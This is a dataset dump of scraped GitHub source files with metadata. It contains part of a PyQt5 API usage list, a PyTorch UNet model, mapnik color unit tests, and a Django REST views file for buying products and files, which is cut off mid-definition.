"PyQt5.QtWidgets.QMessageBox.warning", "line_number": 76, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 76, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 76, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 76, "usage_type": "attribute"}, {"api_name": "PdfMergeTool.PdfMergeTool", "line_number": 79, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 82, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 82, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 84, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 84, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 84, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 86, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 86, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 86, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 90, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 90, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 92, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 92, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 92, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 92, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 95, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 95, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 97, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 97, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 97, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 97, "usage_type": "attribute"}, {"api_name": "PdfMergeTool.PdfMergeTool", "line_number": 100, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 103, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 103, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 104, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 105, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 105, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 105, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 109, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 109, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 109, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 109, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 113, "usage_type": "name"}, {"api_name": "Office2Pdf.Ui_officeToPdfForm", "line_number": 113, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QProgressBar", "line_number": 122, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 126, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 126, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 128, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 128, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 128, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 128, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 131, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 131, "usage_type": "name"}, {"api_name": "excel2pdf.PDFConverter", "line_number": 132, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 136, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 136, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 138, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 138, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 138, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 140, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 140, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 140, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 140, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 143, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 143, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 145, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 145, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 145, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 145, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 148, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 148, "usage_type": "name"}, {"api_name": "excel2pdf.PDFConverter", "line_number": 149, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 152, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 152, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 154, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 154, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 154, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 156, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 156, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 156, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 156, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 159, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 159, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 161, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 161, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 161, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 161, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 164, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 164, "usage_type": "name"}, {"api_name": "excel2pdf.PDFConverter", "line_number": 165, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 168, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 168, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 170, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 170, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 170, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 172, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 172, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 172, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 172, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 175, "usage_type": "name"}, {"api_name": "diffAssign.Ui_diffAssignForm", "line_number": 175, "usage_type": "name"}, {"api_name": "LaodingMessage.LoadingPop", "line_number": 178, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getOpenFileName", "line_number": 185, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 185, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QFileDialog.getExistingDirectory", "line_number": 189, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QFileDialog", "line_number": 189, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.information", "line_number": 194, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 194, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 196, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 196, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 196, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 200, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 200, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 200, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 200, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 209, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 209, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 209, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.warning", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 212, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Yes", "line_number": 212, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.No", "line_number": 212, "usage_type": "attribute"}, {"api_name": "LaodingMessage.LoadingPop", "line_number": 217, "usage_type": "call"}, {"api_name": "DiffAssignTool.DiffAssignTool", "line_number": 244, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 253, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 253, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 256, "usage_type": "call"}]} {"seq_id": "29568880172", "text": "\"\"\" Full assembly of the parts to form the complete network \"\"\"\n\nfrom .unet_parts import Down, Up, OutConv, DoubleConv\nfrom torch import nn\n#from pytorch_model_summary import summary\n\n\nclass UNet(nn.Module):\n def __init__(self, n_channels, n_classes, kernels=[16,32,64,128], bilinear=True):\n super().__init__()\n self.n_channels = n_channels\n self.n_classes = n_classes\n self.kernels = kernels\n self.bilinear = bilinear\n\n #16,32,64,128\n self.inc = DoubleConv(n_channels, kernels[0])\n self.down1 = Down(kernels[0], kernels[1])\n self.down2 = Down(kernels[1], kernels[2])\n self.down3 = Down(kernels[2], kernels[3])\n factor = 2 if bilinear else 1\n self.down4 = Down(kernels[3], kernels[3]*2 // factor)\n self.up1 = Up(kernels[3]*2, kernels[3] // factor, bilinear)\n self.up2 = Up(kernels[3], kernels[2] // factor, bilinear)\n self.up3 = Up(kernels[2], kernels[1] // factor, bilinear)\n self.up4 = Up(kernels[1], kernels[0], bilinear)\n self.outc = OutConv(kernels[0], n_classes)\n\n def forward(self, x):\n x1 = self.inc(x)\n x2 = self.down1(x1)\n x3 = self.down2(x2)\n x4 = self.down3(x3)\n x5 = self.down4(x4)\n x = self.up1(x5, x4)\n x = self.up2(x, x3)\n x = self.up3(x, x2)\n x = self.up4(x, x1)\n logits = self.outc(x)\n return logits\n\n# # show input shape\n# print(summary(UNet(1,2), torch.zeros((1, 1, 28, 28)), show_input=True))\n\n# # show output shape\n# print(summary(UNet(1,2), torch.zeros((1, 1, 28, 28)), show_input=False))\n\n# # show output shape and hierarchical view of net\n# print(summary(UNet(1,2), torch.zeros((1, 1, 28, 28)), show_input=False, show_hierarchical=True))\n", "repo_name": "emmanuelrouxfr/deep_learning_motion_mask_segmentation", "sub_path": "src/model/unet.py", "file_name": "unet.py", "file_ext": "py", "file_size_in_byte": 1765, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.nn.Module", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "unet_parts.DoubleConv", "line_number": 17, "usage_type": "call"}, {"api_name": "unet_parts.Down", "line_number": 18, "usage_type": "call"}, {"api_name": "unet_parts.Down", "line_number": 19, "usage_type": "call"}, {"api_name": "unet_parts.Down", "line_number": 20, "usage_type": "call"}, {"api_name": "unet_parts.Down", "line_number": 22, "usage_type": "call"}, {"api_name": "unet_parts.Up", "line_number": 23, "usage_type": "call"}, {"api_name": "unet_parts.Up", "line_number": 24, "usage_type": "call"}, {"api_name": "unet_parts.Up", "line_number": 25, "usage_type": "call"}, {"api_name": "unet_parts.Up", "line_number": 26, "usage_type": "call"}, {"api_name": "unet_parts.OutConv", "line_number": 27, "usage_type": "call"}]} {"seq_id": "36765356468", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\nfrom nose.tools import eq_\n\nimport mapnik\n\nfrom .utilities import execution_path, run_all\n\n\ndef setup():\n # All of the paths used are relative, if we run the tests\n # from another directory we need to chdir()\n os.chdir(execution_path('.'))\n\n\ndef test_color_init():\n c = mapnik.Color(12, 128, 255)\n eq_(c.r, 12)\n eq_(c.g, 128)\n eq_(c.b, 255)\n eq_(c.a, 255)\n eq_(False, c.get_premultiplied())\n c = mapnik.Color(16, 32, 64, 128)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(False, c.get_premultiplied())\n c = mapnik.Color(16, 32, 64, 128, True)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(True, c.get_premultiplied())\n c = mapnik.Color('rgba(16,32,64,0.5)')\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(False, c.get_premultiplied())\n c = mapnik.Color('rgba(16,32,64,0.5)', True)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(True, c.get_premultiplied())\n hex_str = '#10204080'\n c = mapnik.Color(hex_str)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(hex_str, c.to_hex_string())\n eq_(False, c.get_premultiplied())\n c = mapnik.Color(hex_str, True)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(hex_str, c.to_hex_string())\n eq_(True, c.get_premultiplied())\n rgba_int = 2151686160\n c = mapnik.Color(rgba_int)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(rgba_int, c.packed())\n eq_(False, c.get_premultiplied())\n c = mapnik.Color(rgba_int, True)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n eq_(rgba_int, c.packed())\n eq_(True, c.get_premultiplied())\n\n\ndef test_color_properties():\n c = mapnik.Color(16, 32, 64, 128)\n eq_(c.r, 16)\n eq_(c.g, 32)\n eq_(c.b, 64)\n eq_(c.a, 128)\n c.r = 17\n eq_(c.r, 17)\n c.g = 33\n eq_(c.g, 33)\n c.b = 65\n eq_(c.b, 65)\n c.a = 128\n eq_(c.a, 128)\n\n\ndef test_color_premultiply():\n c = mapnik.Color(16, 33, 255, 128)\n eq_(c.premultiply(), True)\n eq_(c.r, 8)\n eq_(c.g, 17)\n eq_(c.b, 128)\n eq_(c.a, 128)\n # Repeating it again should do nothing\n eq_(c.premultiply(), False)\n eq_(c.r, 8)\n eq_(c.g, 17)\n eq_(c.b, 128)\n eq_(c.a, 128)\n c.demultiply()\n c.demultiply()\n # This will not return the same values as before but we expect that\n eq_(c.r, 15)\n eq_(c.g, 33)\n eq_(c.b, 255)\n eq_(c.a, 128)\n\nif __name__ == \"__main__\":\n setup()\n exit(run_all(eval(x) for x in dir() if x.startswith(\"test_\")))\n", "repo_name": "mapnik/python-mapnik", "sub_path": "test/python_tests/color_test.py", "file_name": "color_test.py", "file_ext": "py", "file_size_in_byte": 2682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 151, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.chdir", "line_number": 16, "usage_type": "call"}, {"api_name": "utilities.execution_path", "line_number": 16, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 20, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 21, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 22, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 23, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 24, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 25, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 26, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 27, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 28, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 29, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 30, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 31, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 32, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 33, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 34, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 35, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 36, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 37, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 38, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 39, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 40, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 41, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 42, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 43, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 44, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 45, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 46, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 47, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 48, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 49, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 51, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 52, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 53, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 54, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 55, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 56, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 57, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 58, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 59, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 60, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 61, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 62, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 63, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 64, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 66, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 67, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 68, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 69, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 70, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 71, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 72, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 73, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 74, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 75, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 76, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 77, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 78, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 79, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 83, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 84, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 85, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 86, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 87, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 89, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 91, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 93, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 95, "usage_type": "call"}, {"api_name": "mapnik.Color", "line_number": 99, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 100, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 101, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 102, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 103, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 104, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 106, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 107, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 108, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 109, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 110, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 114, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 115, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 116, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 117, "usage_type": "call"}, {"api_name": "utilities.run_all", "line_number": 121, "usage_type": "call"}]} {"seq_id": "18133797702", "text": "from django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom user.models import Customer\nfrom utils.permissions import AdminPermission, StoreForThisAdmin, ProductForThisAdmin, CustomerPersmission\nfrom .serializer import CategourySerializer, ProductSerializer, ProductGetListSerializer, ProductShowListSerializer, \\\n FileGetListSerializer, FileShowListSerializer, FileSerializer, BuyDownloadFileSerializer, \\\n BuyDownloadFileProducterializer\nfrom utils.Response import response\nfrom rest_framework import status\nfrom .models import Category,File,Product\n# Create your views here.\n\n\nclass GetListOfCategory(APIView):\n def get(self,request):\n categories=Category.objects.all()\n serializer=CategourySerializer(categories,many=True)\n return response(condition=1, message={\"list_of_categories\":serializer.data}, status=status.HTTP_200_OK)\n\n\nclass CreateCategoury(APIView):\n permission_classes = (IsAuthenticated,AdminPermission)\n serializer_class=CategourySerializer\n def post(self,request):\n serializer=self.serializer_class(data=request.data)\n if serializer.is_valid():\n serializer.save()\n msg=\"categoury \"+serializer.validated_data[\"name\"]+\" create successFully\"\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass CreateProduct(APIView):\n permission_classes = (IsAuthenticated,AdminPermission,StoreForThisAdmin)\n serializer_class=ProductSerializer\n def post(self,request):\n serializer=self.serializer_class(data=request.data)\n if serializer.is_valid():\n serializer.save()\n msg=\"Product \"+serializer.validated_data[\"name\"]+\" create successFully\"\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass ListOfStoreProduct(APIView):\n serializer_class=ProductGetListSerializer\n def post(self,request):\n serializer=self.serializer_class(data=request.data)\n if serializer.is_valid():\n store=serializer.validated_data[\"store\"]\n products=Product.objects.filter(store=store)\n products=ProductShowListSerializer(products,many=True)\n msg={\"products\":products.data}\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass ListOfProductFiles(APIView):\n serializer_class=FileGetListSerializer\n def post(self, request):\n serializer = self.serializer_class(data=request.data)\n if serializer.is_valid():\n product = serializer.validated_data[\"product\"]\n files = File.objects.filter(product=product)\n files = FileShowListSerializer(files, many=True)\n msg = {\"Files\": files.data}\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UploadFile(APIView):\n permission_classes = (IsAuthenticated,AdminPermission,ProductForThisAdmin)\n serializer_class=FileSerializer\n def post(self,request):\n serializer=self.serializer_class(data=request.data)\n if serializer.is_valid():\n serializer.save()\n msg = \"Files \"+ serializer.validated_data[\"name\"]+\" upload successFully\"\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n\nclass BuyProduct(APIView):\n serializer_class= BuyDownloadFileProducterializer\n permission_classes = (IsAuthenticated,CustomerPersmission)\n def post(self,request):\n serializer=self.serializer_class(data=request.data)\n if serializer.is_valid():\n Ucustomer=request.user\n customer=Ucustomer.customer\n\n productRequested=serializer.validated_data[\"id\"]\n try:\n productRequested=Product.objects.get(id=serializer.validated_data[\"id\"])\n except:\n msg = \"this Product is not exist\"\n return response(condition=0, message=msg, status=status.HTTP_400_BAD_REQUEST)\n customerProduct=customer.product.all()\n Uadmin=productRequested.store.admin.user\n if productRequested in customerProduct:\n msg = \"you Buy \" + str(serializer.validated_data[\"id\"]) + \" Product before\"\n return response(condition=1, message=msg, status=status.HTTP_202_ACCEPTED)\n elif productRequested.fee > Ucustomer.credit:\n msg = \"you dont have enough money sharge your account\"\n return response(condition=0, message=msg, status=status.HTTP_402_PAYMENT_REQUIRED)\n else:\n Uadmin.credit+=productRequested.fee\n Ucustomer.credit -= productRequested.fee\n customer.product.add(productRequested)\n customer.save()\n Ucustomer.save()\n Uadmin.save()\n msg = \"Product Buy successFully \"\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass BuyFile(APIView):\n serializer_class=BuyDownloadFileSerializer\n permission_classes = (IsAuthenticated,CustomerPersmission)\n\n def post(self,request):\n serializer=self.serializer_class(data=request.data)\n pass\n if serializer.is_valid():\n Ucustomer=request.user\n customer=Customer.objects.prefetch_related(\"product\").prefetch_related(\"_file\").get(user=Ucustomer)\n filerequested=None\n try:\n filerequested=File.objects.get(id=serializer.validated_data[\"id\"])\n except:\n msg = \"this File is not exist\"\n return response(condition=0, message=msg, status=status.HTTP_400_BAD_REQUEST)\n Uadmin=filerequested.product.store.admin.user\n customer_file_list=customer._file.all()\n customer_product_file=[]\n for product in customer.product.all():\n customer_product_file.append(list(product.file))\n customer_all_file=list(customer_file_list)+customer_product_file\n if filerequested in customer_all_file:\n msg = \"you Buy \" + str(serializer.validated_data[\"id\"]) + \" File before\"\n return response(condition=1, message=msg, status=status.HTTP_202_ACCEPTED)\n elif filerequested.fee > Ucustomer.credit:\n msg = \"you dont have enough money sharge your account\"\n return response(condition=0, message=msg, status=status.HTTP_402_PAYMENT_REQUIRED)\n else:\n Uadmin.credit+=filerequested.fee\n Ucustomer.credit -= filerequested.fee\n customer._file.add(filerequested)\n customer.save()\n Ucustomer.save()\n Uadmin.save()\n msg = \"File Buy successFully \"\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n\n\n else:\n return response(condition=0, message=serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass 